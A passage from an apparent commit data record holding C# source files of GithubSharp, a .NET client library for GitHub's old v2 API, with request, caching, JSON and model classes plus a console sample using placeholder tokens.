class\r\n        {\r\n            var result = ConsumeUrlToStringAndPostData(Url, FormValues);\r\n            if (result == null)\r\n                return null;\r\n            try\r\n            {\r\n                return JsonConverter.FromJson<T>(result);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n        }\r\n\r\n        public void Authenticate()\r\n        {\r\n            if (!HasUser)\r\n            {\r\n                var error = new Exception(\"You need to provide a valid GithubUser with an api token (see http://github.com/blog/170-token-authentication)\");\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw error;\r\n            }\r\n        }\r\n\r\n        public string CurrentUsername { get { return HasUser ? CurrentUser.Name : string.Empty; } }\r\n\r\n        public bool HasUser { get { return CurrentUser != null && !string.IsNullOrEmpty(CurrentUser.Name) && !string.IsNullOrEmpty(CurrentUser.APIToken); } }\r\n    }\r\n}\r\n", "Core/Base/JsonConverter.cs": "\ufeffusing System;\r\n\r\nnamespace GithubSharp.Core.Base\r\n{\r\n    internal static class JsonConverter\r\n    {\r\n        /// <summary>\r\n        /// Serializes the object to a Json string \r\n        /// </summary>\r\n        internal static string ToJson<T>(this T Obj)\r\n        {\r\n            return ServiceStack.Text.JsonSerializer.SerializeToString<T>(Obj);\r\n        }\r\n\r\n        internal static byte[] ToJsonBytes<T>(this T TObj)\r\n        {\r\n            var jsonString = ToJson<T>(TObj);\r\n            return System.Text.Encoding.UTF8.GetBytes(jsonString);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Deserializes\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        internal static T FromJson<T>(string Json)\r\n        {\r\n            if (string.IsNullOrEmpty(Json))\r\n                throw new ArgumentNullException(\"Json\");\r\n            return ServiceStack.Text.JsonSerializer.DeserializeFromString<T>(Json);\r\n        }\r\n    }\r\n}", "Core/Base/Url.cs": "using System;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.Collections.Specialized;\r\nusing GithubSharp.Core.Services;\r\n\r\nnamespace GithubSharp.Core.Base\r\n{\r\n    internal class Url\r\n    {\r\n        internal Url(ICacheProvider Cache, ILogProvider Log)\r\n        {\r\n            CacheProvider = Cache;\r\n            LogProvider = Log;\r\n        }\r\n\r\n        internal ICacheProvider CacheProvider;\r\n        internal ILogProvider LogProvider;\r\n\r\n        internal string GithubBaseURL { get { return \"http://github.com/api/v2/json/\"; } }\r\n\r\n        internal string GithubAuthenticationQueryString(Models.GithubUser User)\r\n        {\r\n            return User != null ? string.Format(\"?login={0}&token={1}\", User.Name, User.APIToken) : string.Empty;\r\n        }\r\n\r\n        internal byte[] GetBinaryFromURL(string URL)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"Url.GetBinaryFromURL - '{0}'\", URL));\r\n            string cacheKey = string.Format(\"GetBinaryFromURL_{0}\", URL);\r\n\r\n            var cached = CacheProvider.Get<byte[]>(cacheKey);\r\n            if (cached != null)\r\n            {\r\n                LogProvider.LogMessage(\"Url.GetBinaryFromURL  :  Returning cached result\");\r\n                return cached;\r\n            }\r\n            LogProvider.LogMessage(\"Url.GetBinaryFromURL  :  Cached result unavailable, fetching url content\");\r\n\r\n            var webClient = new System.Net.WebClient();\r\n            byte[] result;\r\n            try\r\n            {\r\n                result = webClient.DownloadData(URL);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n\r\n            CacheProvider.Set(result, cacheKey);\r\n            return result;\r\n        }\r\n\r\n        internal byte[] UploadValuesAndGetBinary(string URL, NameValueCollection FormValues)\r\n        {\r\n            return UploadValuesAndGetBinary(URL, FormValues, \"POST\");\r\n        }\r\n        internal byte[] UploadValuesAndGetBinary(string URL, NameValueCollection FormValues, string Method)\r\n        {\r\n            LogProvider.LogMessage(\r\n              string.Format(\"Url.UploadValuesAndGetBinary ({0}) {1}\",\r\n              URL,\r\n              string.Join(\":\", FormValues.AllKeys.ToList().Select(Key => string.Format(\"\\nKey : {0} , Value : {1}\", Key, FormValues[Key])).ToArray())));\r\n\r\n            string cacheKey = string.Format(\"UploadValuesAndGetBinary{0}_{1}_{2}_{3}\",\r\n                URL,\r\n                Method,\r\n                string.Join(\"-\", FormValues.AllKeys),\r\n                string.Join(\":\", FormValues.AllKeys.ToList().Select(Key => FormValues[Key]).ToArray())\r\n                );\r\n\r\n            var cached = CacheProvider.Get<byte[]>(cacheKey);\r\n            if (cached != null)\r\n            {\r\n                LogProvider.LogMessage(\"Url.UploadValuesAndGetBinary  :  Returning cached result\");\r\n                return cached;\r\n            }\r\n\r\n            LogProvider.LogMessage(\"Url.UploadValuesAndGetBinary  :  Cached result unavailable, fetching url content\");\r\n\r\n\r\n            var webClient = new System.Net.WebClient();\r\n            byte[] result;\r\n            try\r\n            {\r\n                result = webClient.UploadValues(URL, Method, FormValues);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n\r\n            CacheProvider.Set(result, cacheKey);\r\n            return result;\r\n        }\r\n\r\n        internal string UploadValuesAndGetString(string URL, NameValueCollection FormValues)\r\n        {\r\n            return UploadValuesAndGetString(URL, FormValues, \"POST\");\r\n        }\r\n\r\n        internal string UploadValuesAndGetString(string URL, NameValueCollection FormValues, string Method)\r\n        {\r\n            LogProvider.LogMessage(\"Url.UploadValuesAndGetString - Calling UploadValuesAndGetBinary...\");\r\n\r\n            var result = UploadValuesAndGetBinary(URL, FormValues, Method);\r\n\r\n            return result == null ? null : Encoding.UTF8.GetString(result);\r\n        }\r\n\r\n        internal string GetStringFromURL(string URL)\r\n        {\r\n            string cacheKey = string.Format(\"GetStringFromURL_{0}\", URL);\r\n            var cached = CacheProvider.Get<string>(cacheKey);\r\n            if (cached != null)\r\n            {\r\n                LogProvider.LogMessage(\"Url.GetStringFromURL  :  Returning cached result\");\r\n                return cached;\r\n            }\r\n\r\n            LogProvider.LogMessage(\"Url.GetStringFromURL  :  Cached result unavailable, fetching url content\");\r\n\r\n            string result;\r\n            try\r\n            {\r\n                result = new System.Net.WebClient().DownloadString(URL);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n\r\n            CacheProvider.Set(result, cacheKey);\r\n            return result;\r\n        }\r\n\r\n    }\r\n}\r\n", "Core/GithubException.cs": "using System;\r\nusing System.Collections.Generic;\r\n\r\nnamespace GithubSharp.Core\r\n{\r\n    public class GithubException : Exception\r\n    {\r\n        public GithubException(System.Net.HttpWebResponse response, string uri)\r\n            : base(string.Format(\"Github error when retrieving {0}\", uri))\r\n        {\r\n            var responseString = new System.IO.StreamReader(response.GetResponseStream()).ReadToEnd();\r\n            GithubErrorResult = Base.JsonConverter.FromJson<GithubErrorModel>(responseString);\r\n            StatusCode = (int)response.StatusCode;\r\n            StatusText = response.StatusDescription;\r\n        }\r\n\r\n        public GithubErrorModel GithubErrorResult { get; set; }\r\n        public int StatusCode { get; set; }\r\n        public string StatusText { get; set; }\r\n    }\r\n\r\n\r\n    public class GithubErrorResponse : GithubResponseWithReturnType<GithubErrorModel>\r\n    {\r\n\r\n    }\r\n\r\n\r\n    public class GithubErrorModel\r\n    {\r\n        public string message\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n        public IEnumerable<GithubErrorDetails> errors\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n    }\r\n\r\n    public class GithubErrorDetails\r\n    {\r\n        public string Resource\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n\r\n        public string Field\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n\r\n        public string Code\r\n        {\r\n            get;\r\n            set;\r\n        }\r\n    }\r\n}\r\n\r\n", "Core/GithubRequestWithInputAndReturnType.cs": "using GithubSharp.Core.Services;\r\nusing GithubSharp.Core.Base;\r\n\r\nnamespace GithubSharp.Core\r\n{\r\n    public class GithubRequestWithInputAndReturnType<TInputType, TReturnType> : GithubRequestWithReturnType<TReturnType>\r\n        where TReturnType : class\r\n    {\r\n        public GithubRequestWithInputAndReturnType(\r\n            ILogProvider logProvider,\r\n            ICacheProvider cacheProvider,\r\n            IAuthProvider authProvider,\r\n            string path,\r\n            TInputType input)\r\n            : base(logProvider,\r\n                cacheProvider,\r\n                authProvider,\r\n                path)\r\n        {\r\n            ModelToSend = input;\r\n        }\r\n        public GithubRequestWithInputAndReturnType(\r\n            ILogProvider logProvider,\r\n            ICacheProvider cacheProvider,\r\n            IAuthProvider authProvider,\r\n            string path,\r\n            GithubSharpHttpVerbs method,\r\n            TInputType input)\r\n            : base(logProvider,\r\n                cacheProvider,\r\n                authProvider,\r\n                path,\r\n                method)\r\n        {\r\n            ModelToSend = input;\r\n        }\r\n\r\n        public TInputType ModelToSend { get; set; }\r\n\r\n\r\n        public override System.Net.HttpWebRequest PrepareWebRequest(System.Net.HttpWebRequest webRequest)\r\n        {\r\n            webRequest = base.PrepareWebRequest(webRequest);\r\n            webRequest.ContentType = \"application/json\"; //Get from MimeType?\r\n            webRequest.MediaType = \"UTF-8\";\r\n            var bytes = ModelToSend.ToJsonBytes();\r\n\r\n            webRequest.ContentLength = bytes.Length;\r\n            var stream = webRequest.GetRequestStream();\r\n            stream.Write(bytes, 0, bytes.Length);\r\n            stream.Close();\r\n\r\n            return webRequest;\r\n        }\r\n    }\r\n}\r\n\r\n", "Core/GithubRequestWithReturnType.cs": "using System;\r\nusing GithubSharp.Core.Base;\r\n\r\nnamespace GithubSharp.Core\r\n{\r\n    public class GithubRequestWithReturnType<TReturnType> : GithubRequest\r\n        where TReturnType : class\r\n    {\r\n        public GithubRequestWithReturnType(Services.ILogProvider logProvider,\r\n            Services.ICacheProvider cacheProvider,\r\n            Services.IAuthProvider authProvider,\r\n            string path)\r\n            : base(\r\n                   logProvider,\r\n                   cacheProvider,\r\n                   authProvider,\r\n                   path)\r\n        {\r\n        }\r\n\r\n        public GithubRequestWithReturnType(Services.ILogProvider logProvider,\r\n            Services.ICacheProvider cacheProvider,\r\n            Services.IAuthProvider authProvider,\r\n            string path,\r\n            GithubSharpHttpVerbs method)\r\n            : base(logProvider, cacheProvider, authProvider, path, method)\r\n        {\r\n        }\r\n\r\n        public override bool IsCached(string uri)\r\n        {\r\n            return CacheProvider.IsCached<TReturnType>(uri);\r\n        }\r\n\r\n        public IGithubResponseWithReturnType<TReturnType> GetResponseWithReturnType()\r\n        {\r\n            var baseResult = base.GetResponse();\r\n            var baseWithReturnType = new GithubResponseWithReturnType<TReturnType>\r\n            {\r\n                LinkNext = baseResult.LinkNext,\r\n                LinkFirst = baseResult.LinkFirst,\r\n                LinkLast = baseResult.LinkLast,\r\n                LinkPrevious = baseResult.LinkPrevious,\r\n                RateLimitLimit = baseResult.RateLimitLimit,\r\n                RateLimitRemaining = baseResult.RateLimitRemaining,\r\n                Response = baseResult.Response\r\n            };\r\n\r\n            try\r\n            {\r\n                baseWithReturnType.Result = JsonConverter\r\n                    .FromJson<TReturnType>(baseWithReturnType.Response);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n            }\r\n\r\n            return baseWithReturnType;\r\n        }\r\n    }\r\n}\r\n\r\n", "Core/Models/Internal/PullRequest.cs": "\ufeffusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Runtime.Serialization;\n\nnamespace GithubSharp.Core.Models.Internal\n{\n    [DataContract]\n    internal class PullRequestCollection\n    {\n        [DataMember(Name = \"pulls\")]\n        public IEnumerable<Models.PullRequest> PullRequests { get; set; }\n    }\n\n    [DataContract]\n    internal class PullRequestContainer\n    {\n        [DataMember(Name = \"pull\")]\n        public Models.PullRequest PullRequest { get; set; }\n    }\n}\n", "Core/Models/Internal/Repository.cs": "\ufeffusing System.Collections.Generic;\nusing System.Runtime.Serialization;\nusing System;\n\nnamespace GithubSharp.Core.Models.Internal\n{\n    [DataContract]\n    internal class RepositoryCollection<TRepoType>\n    {\n        [DataMember(Name = \"repositories\")]\n        public IEnumerable<TRepoType> Repositories { get; set; }\n    }\n\n    [DataContract]\n    internal class RepositoryContainer<TRepoType>\n    {\n        [DataMember(Name = \"repository\")]\n        public TRepoType Repository { get; set; }\n    }\n\n    [DataContract]\n    internal class RepositoryFromNetworkContainer\n    {\n        [DataMember(Name = \"network\")]\n        public IEnumerable<Repository> Network { get; set; }\n    }\n\n    [DataContract]\n    internal class RepositoryDelete\n    {\n        [DataMember(Name = \"delete_token\")]\n        public string DeleteToken { get; set; }\n    }\n\n    [DataContract]\n    internal class RepositoryDeleted\n    {\n        [DataMember(Name = \"status\")]\n        public string Status { get; set; }\n    }\n\n    [DataContract]\n    internal class LanguagesCollection\n    {\n        [DataMember(Name = \"languages\")]\n        public Dictionary<string, int> Languages { get; set; }\n    }\n\n    [DataContract]\n    internal class TagCollection\n    {\n        [DataMember(Name = \"tags\")]\n        public JsonSimpleDictionary Tags { get; set; }\n    }\n\n    [DataContract]\n    internal class BranchesCollection\n    {\n        [DataMember(Name = \"branches\")]\n        public JsonSimpleDictionary Branches { get; set; }\n    }\n}\n", "Core/Models/Internal/User.cs": "\ufeffusing System.Collections.Generic;\r\nusing System.Runtime.Serialization;\r\n\r\nnamespace GithubSharp.Core.Models.Internal\r\n{\r\n    [DataContract]\r\n    internal class PublicKeyCollection<TPublicKeyType>\r\n    {\r\n        [DataMember(Name = \"public_keys\")]\r\n        public IEnumerable<TPublicKeyType> PublicKeys { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    internal class UsersCollection<TUserType>\r\n    {\r\n        [DataMember(Name = \"users\")]\r\n        public IEnumerable<TUserType> Users { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    internal class EmailCollection\r\n    {\r\n        [DataMember(Name = \"emails\")]\r\n        public IEnumerable<string> Emails { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    internal class UserContainer<TUserType>\r\n    {\r\n        [DataMember(Name = \"user\")]\r\n        public TUserType User { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    internal class CollaboratorsCollection\r\n    {\r\n        [DataMember(Name = \"collaborators\")]\r\n        public IEnumerable<string> Collaborators { get; set; }\r\n    }\r\n}\r\n", "Core/Models/Repository.cs": "using System;\r\nusing System.Runtime.Serialization;\r\n\r\nnamespace GithubSharp.Core.Models\r\n{\r\n    [DataContract]\r\n    public class Repository\r\n    {\r\n        [DataMember(Name = \"url\")]\r\n        public string URL { get; set; }\r\n\r\n        [DataMember(Name = \"description\")]\r\n        public string Description { get; set; }\r\n\r\n        [DataMember(Name = \"homepage\")]\r\n        public string Homepage { get; set; }\r\n\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"owner\")]\r\n        public string Owner { get; set; }\r\n\r\n        [DataMember(Name = \"fork\")]\r\n        public bool Fork { get; set; }\r\n\r\n        [DataMember(Name = \"private\")]\r\n        public bool Private { get; set; }\r\n\r\n        [DataMember(Name = \"open_issues\")]\r\n        public int OpenIssues { get; set; }\r\n\r\n        [DataMember(Name = \"watchers\")]\r\n        public int Watchers { get; set; }\r\n\r\n        [DataMember(Name = \"forks\")]\r\n        public int Forks { get; set; }\r\n\r\n        [DataMember(Name = \"source\")]\r\n        public string Source { get; set; }\r\n\r\n        [DataMember(Name = \"parent\")]\r\n        public string Parent { get; set; }\r\n\r\n        public string WatchersURL { get { return string.Format(\"http://github.com/{0}/{1}/watchers\", Owner, Name); } }\r\n        public string DownloadURL { get { return string.Format(\"http://github.com/{0}/{1}/zipball/master\", Owner, Name); } }\r\n        public string ForksURL { get { return string.Format(\"http://github.com/{0}/{1}/network/members\", Owner, Name); } }\r\n        public string IssuesURL { get { return string.Format(\"http://github.com/{0}/{1}/issues\", Owner, Name); } }\r\n        public string WikiURL { get { return string.Format(\"http://wiki.github.com/{0}/{1}\", Owner, Name); } }\r\n        public string GraphsURL { get { return string.Format(\"http://github.com/{0}/{1}/graphs\", Owner, Name); } }\r\n        public string ForkQuoueURL { get { return string.Format(\"http://github.com/{0}/{1}/forkqueue\", Owner, Name); } }\r\n        public string GitCloneURL { get { return string.Format(\"git://github.com/{0}/{1}.git\", Owner, Name); } }\r\n        public string HttpCloneURL { get { return string.Format(\"http://github.com/{0}/{1}.git\", Owner, Name); } }\r\n        public string ForkURL { get { return string.Format(\"http://github.com/{0}/{1}/fork\", Owner, Name); } }\r\n        public string WatchURL { get { return string.Format(\"http://github.com/{0}/{1}/toggle_watch\", Owner, Name); } }\r\n    }\r\n\r\n    [DataContract]\r\n    public class RepositoryFromSearch\r\n    {\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"size\")]\r\n        public int Size { get; set; }\r\n\r\n        [DataMember(Name = \"followers\")]\r\n        public int Followers { get; set; }\r\n\r\n        [DataMember(Name = \"username\")]\r\n        public string Username { get; set; }\r\n\r\n        [DataMember(Name = \"language\")]\r\n        public string Language { get; set; }\r\n\r\n        [DataMember(Name = \"fork\")]\r\n        public bool Fork { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public string Id { get; set; }\r\n\r\n        [DataMember(Name = \"type\")]\r\n        public string Type { get; set; }\r\n\r\n        [DataMember(Name = \"pushed\")]\r\n        private string PrivatePushed\r\n        {\r\n            get { return Pushed.ToString(); }\r\n            set \r\n            { \r\n                Pushed = value != null ? DateTime.Parse(value) : default(DateTime);\r\n            }\r\n        }\r\n        public DateTime Pushed { get; set; }\r\n\r\n        [DataMember(Name = \"forks\")]\r\n        public int Forks { get; set; }\r\n\r\n        [DataMember(Name = \"description\")]\r\n        public string Description { get; set; }\r\n\r\n        [DataMember(Name = \"score\")]\r\n        public float Score { get; set; }\r\n\r\n        [DataMember(Name = \"created\")]\r\n        private string PrivateCreated\r\n        {\r\n            get { return Created.ToString(); }\r\n            set { Created = value != null ? DateTime.Parse(value) : default(DateTime); }\r\n        }\r\n        public DateTime Created { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class Language\r\n    {\r\n        public string Name { get; set; }\r\n        public int CalculatedBytes { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class TagOrBranch\r\n    {\r\n        public string Name { get; set; }\r\n        public string Sha { get; set; }\r\n    }\r\n}\r\n", "Core/Models/User.cs": "\ufeffusing System;\r\nusing System.Runtime.Serialization;\r\n\r\nnamespace GithubSharp.Core.Models\r\n{\r\n    [DataContract]\r\n    public class UserInCollection\r\n    {\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"location\")]\r\n        public string Location { get; set; }\r\n\r\n        [DataMember(Name = \"followers\")]\r\n        public int Followers { get; set; }\r\n\r\n        [DataMember(Name = \"username\")]\r\n        public string Username { get; set; }\r\n\r\n        [DataMember(Name = \"language\")]\r\n        public string Language { get; set; }\r\n\r\n        [DataMember(Name = \"fullname\")]\r\n        public string Fullname { get; set; }\r\n\r\n        [DataMember(Name = \"repos\")]\r\n        public int Repos { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public string Id { get; set; }\r\n\r\n        [DataMember(Name = \"type\")]\r\n        public string Type { get; set; }\r\n\r\n        [DataMember(Name = \"pushed\")]\r\n        private string PrivatePushed\r\n        {\r\n            get { return Pushed.ToString(); }\r\n            set { Pushed = DateTime.Parse(value); }\r\n        }\r\n        public DateTime Pushed { get; set; }\r\n\r\n        [DataMember(Name = \"score\")]\r\n        public float Score { get; set; }\r\n\r\n        [DataMember(Name = \"created\")]\r\n        private string PrivateCreated\r\n        {\r\n            get { return Created.ToString(); }\r\n            set { Created = DateTime.Parse(value); }\r\n        }\r\n        public DateTime Created { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class User\r\n    {\r\n        [DataMember(Name = \"gravatar_id\")]\r\n        public string GravatarId { get; set; }\r\n\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"company\")]\r\n        public string Company { get; set; }\r\n\r\n        [DataMember(Name = \"location\")]\r\n        public string Location { get; set; }\r\n\r\n        [DataMember(Name = \"created_at\")]\r\n        private string PrivateCreatedAt\r\n        {\r\n            get { return CreatedAt.ToString(); }\r\n            set { CreatedAt = DateTime.Parse(value); }\r\n        }\r\n        public DateTime CreatedAt { get; set; }\r\n\r\n        [DataMember(Name = \"public_gist_count\")]\r\n        public int PublicGistCount { get; set; }\r\n\r\n        [DataMember(Name = \"public_repo_count\")]\r\n        public int PublicRepoCount { get; set; }\r\n\r\n        [DataMember(Name = \"blog\")]\r\n        public string Blog { get; set; }\r\n\r\n        [DataMember(Name = \"following\")]\r\n        public int Following { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public int Id { get; set; }\r\n\r\n        [DataMember(Name = \"login\")]\r\n        public string Login { get; set; }\r\n\r\n        [DataMember(Name = \"email\")]\r\n        public string Email { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class UserAuthenticated : User\r\n    {\r\n        [DataMember(Name = \"total_private_repo_count\")]\r\n        public int TotalPrivateRepoCount { get; set; }\r\n\r\n        [DataMember(Name = \"collaborators\")]\r\n        public int Collaborators { get; set; }\r\n\r\n        [DataMember(Name = \"disk_usage\")]\r\n        public int DiskUsage { get; set; }\r\n\r\n        [DataMember(Name = \"owned_private_repo_count\")]\r\n        public int OwnedPrivateRepoCount { get; set; }\r\n\r\n        [DataMember(Name = \"private_gist_count\")]\r\n        public int PrivateGistCount { get; set; }\r\n\r\n        [DataMember(Name = \"plan\")]\r\n        public UserAuthenticatedPlan Plan { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class UserAuthenticatedPlan\r\n    {\r\n        [DataMember(Name = \"name\")]\r\n        public string Name { get; set; }\r\n\r\n        [DataMember(Name = \"collaborators\")]\r\n        public int Collaborators { get; set; }\r\n\r\n        [DataMember(Name = \"space\")]\r\n        public int Space { get; set; }\r\n\r\n        [DataMember(Name = \"private_repos\")]\r\n        public int PrivateRepos { get; set; }\r\n    }\r\n\r\n    [DataContract]\r\n    public class PublicKey\r\n    {\r\n        [DataMember(Name = \"title\")]\r\n        public string Title { get; set; }\r\n\r\n        [DataMember(Name = \"id\")]\r\n        public int Id { get; set; }\r\n\r\n        [DataMember(Name = \"key\")]\r\n        public string Key { get; set; }\r\n    }\r\n\r\n   \r\n}\r\n", "Samples/ConsoleSample/Program.cs": "\ufeffusing System;\nusing GithubSharp.Core.API;\nusing GithubSharp.Plugins.LogProviders.SimpleLogProvider;\nusing GithubSharp.Core.Services;\n\nnamespace ConsoleSample\n{\n    class Program\n    {\n        static void Main ()\n        {\n        \t//TestPullRequest ();\n\n            var user = new User (new BasicCacher.BasicCacher (), new SimpleLogProvider ());\n        \tvar u = user.Get (\"rumpl\");\n        \tConsole.WriteLine (u.Blog);\n        \tu = user.Get (\"rumpl\");\n        \tConsole.WriteLine (u.Blog);\n   \n        \tuser.Authenticate (new GithubSharp.Core.Models.GithubUser { Name = \"erikzaadi\", APIToken = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\" });\n        \ttry\n            {\n        \t\tvar privateuser = user.Get ();\n        \t\tif (privateuser == null)\n        \t\t\tthrow new Exception (\"Invalid user\");\n        \t}\n\t\t\tcatch (Exception e)\n\t\t\t{\n        \t\tConsole.WriteLine (e.Message);\n\t\t\t}\n\t\t\t\n\t\t\t\n            var issuesAPI = new Issues(new BasicCacher.BasicCacher(), new SimpleLogProvider());\n\n            var closedIssues = issuesAPI.List(\"GithubSharp\", \"erikzaadi\", GithubSharp.Core.Models.IssueState.Closed);\n            var openIssues = issuesAPI.List(\"GithubSharp\", \"erikzaadi\", GithubSharp.Core.Models.IssueState.Open);\n\n\n            Console.ReadKey();\n        }\n\n        private static void TestPullRequest()\n        {\n            var cocytusUser = new GithubSharp.Core.Models.GithubUser { Name = \"cocytus\", APIToken = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\" };\n            PullRequest pullApi = new PullRequest(new BasicCacher.BasicCacher(), new ConsoleLogger());\n            var pulls = pullApi.List(\"spdr870\", \"gitextensions\");\n            foreach (var pull in pulls)\n            {\n                Console.WriteLine(\"Pull from {1}: {0}\\r\\nVotes: {2}\\r\\nBody: {3}\\r\\nGravatar ID: {4}\", pull.Title, pull.User.Login, pull.Votes, pull.Body, pull.User.GravatarId);\n                Console.WriteLine(\"Created: {0} Updated: {1} Issue updated: {2}\", pull.Created, pull.Updated, pull.IssueUpdated);\n                Console.WriteLine(\"Base: Owner: {0} Name: {1} Ref: {2} Sha: {3}\", pull.Base.Repository.Owner, pull.Base.Repository.Name, pull.Base.Ref, pull.Base.Sha);\n                Console.WriteLine(\"Head: Owner: {0} Name: {1} Ref: {2} Sha: {3}\", pull.Head.Repository.Owner, pull.Head.Repository.Name, pull.Head.Ref, pull.Head.Sha);\n\n                Console.WriteLine(\"Diff URL: {0}\\r\\nPatch: {1}\", pull.DiffUrl, pull.PatchUrl);\n                Console.WriteLine(\"Labels: {0}\", string.Join(\",\", pull.Labels));\n                Console.WriteLine(\"Position: {0} Number: {1}\", pull.Position, pull.Number);\n            }\n\n            var pull2 = pullApi.GetById(\"cocytus\", \"gitextensions\", \"1\");\n            Console.WriteLine(\"Pull from {1}: {0}\\r\\nVotes: {2}\\r\\nBody: {3}\\r\\nGravatar ID: {4}\", pull2.Title, pull2.User.Login, pull2.Votes, pull2.Body, pull2.User.GravatarId);\n            foreach (var d in pull2.Discussion)\n            {\n                Console.WriteLine(\"Discussion: From {0} At: {1} Type: {2}\", d.User.Login, d.Created, d.Type);\n                if (d.Type.ToLowerInvariant() == \"commit\")\n                {\n                    Console.WriteLine(\"SHA/ID: {0} Body: {1}\", d.Id, d.Body);\n                }\n                else if (d.Type.ToLowerInvariant() == \"issuecomment\")\n                {\n                    Console.WriteLine(\"Body: {0}\", d.Body);\n                }\n                else\n                    Console.WriteLine(\"WHAT? \" + d.Type);\n            }\n        }\n    }\n\n    class ConsoleLogger : ILogProvider\n    {\n        public bool DebugMode { get { return true; } set{} }\n\t\t\n        public void LogMessage(string Message, params object[] Arguments)\n        {\n            Console.WriteLine(Message, Arguments);\n        }\n\t\t\n        public void LogWarning(string Message, params object[] Arguments)\n        {\n            Console.WriteLine(Message, Arguments);\n        }\n\n        public bool HandleAndReturnIfToThrowError(Exception error)\n        {\n            LogMessage(\"Exception: \" + error.Message);\n            return false;\n        }\n    }\n}\n"}, "files_after": {"Core/API/PullRequest.cs": "\ufeffusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing GithubSharp.Core.Services;\nusing System.Collections.Specialized;\n\nnamespace GithubSharp.Core.API\n{\n    public class PullRequest : Base.BaseApi\n    {\n        public PullRequest(ICacheProvider CacheProvider, ILogProvider LogProvider) : base(CacheProvider, LogProvider) { }\n\n        public IEnumerable<Models.PullRequest> List(string Username, string RepositoryName)\n        {\n            return List(Username, RepositoryName, null);\n        }\n\n        public IEnumerable<Models.PullRequest> List(string Username, string RepositoryName, string State)\n        {\n            LogProvider.LogMessage(string.Format(\"PullRequest.List - {0} - {1} - {2}\", Username, RepositoryName, State));\n            var url = string.Format(\"repos/{0}/{1}/pulls{2}\", Username, RepositoryName, string.IsNullOrEmpty(State) ? \"\" : \"/\" + State);\r\n            var result = ConsumeJsonUrl<Models.PullRequest[]>(url);\n            return result;\n        }\n\n        public Models.PullRequest GetById(string Username, string RepositoryName, string Id)\n        {\n            LogProvider.LogMessage(string.Format(\"PullRequest.GetById - {0} - {1} - {2}\", Username, RepositoryName, Id));\n            var url = string.Format(\"pulls/{0}/{1}/{2}\", Username, RepositoryName, Id);\n            var result = ConsumeJsonUrl<Models.Internal.PullRequestContainer>(url);\n            return result == null ? null : result.PullRequest;\n        }\n\n        public Models.PullRequest Create(string Username, string RepositoryName, string BaseRef, string HeadRef, string Title, string Body)\n        {\n            LogProvider.LogMessage(string.Format(\"PullRequest.Create - {0} - {1} - {2} - {3} - {4}\", Username, RepositoryName, BaseRef, HeadRef, Title));\n            if (string.IsNullOrEmpty(Username) || string.IsNullOrEmpty(RepositoryName) || string.IsNullOrEmpty(BaseRef) || string.IsNullOrEmpty(HeadRef) || string.IsNullOrEmpty(Title) || string.IsNullOrEmpty(Body))\n                return null;\n\n            var url = string.Format(\"pulls/{0}/{1}\", Username, RepositoryName);\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"pull[base]\", BaseRef);\n            formValues.Add(\"pull[head]\", HeadRef);\n            formValues.Add(\"pull[title]\", Title);\n            formValues.Add(\"pull[body]\", Body);\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PullRequestContainer>(url, formValues);\n\n            return result != null ? result.PullRequest : null;\n        }\n    }\n}\n", "Core/API/Repository.cs": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\r\nusing GithubSharp.Core.Base;\r\nusing GithubSharp.Core.Services;\nusing System.Collections.Specialized;\r\n\r\nnamespace GithubSharp.Core.API\n{\n    public class Repository : BaseApi\n    {\n        public Repository(ICacheProvider CacheProvider, ILogProvider LogProvider) : base(CacheProvider, LogProvider) { }\n\n        public IEnumerable<Models.RepositoryFromSearch> Search(string Search)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Search - '{0}'\", Search));\n\n            var url = string.Format(\"{0}{1}\",\n                \"repos/search/\",\n                Search);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryCollection<Models.RepositoryFromSearch>>(url);\n\n            return result == null ? null : result.Repositories;\n        }\n\n        public Models.Repository 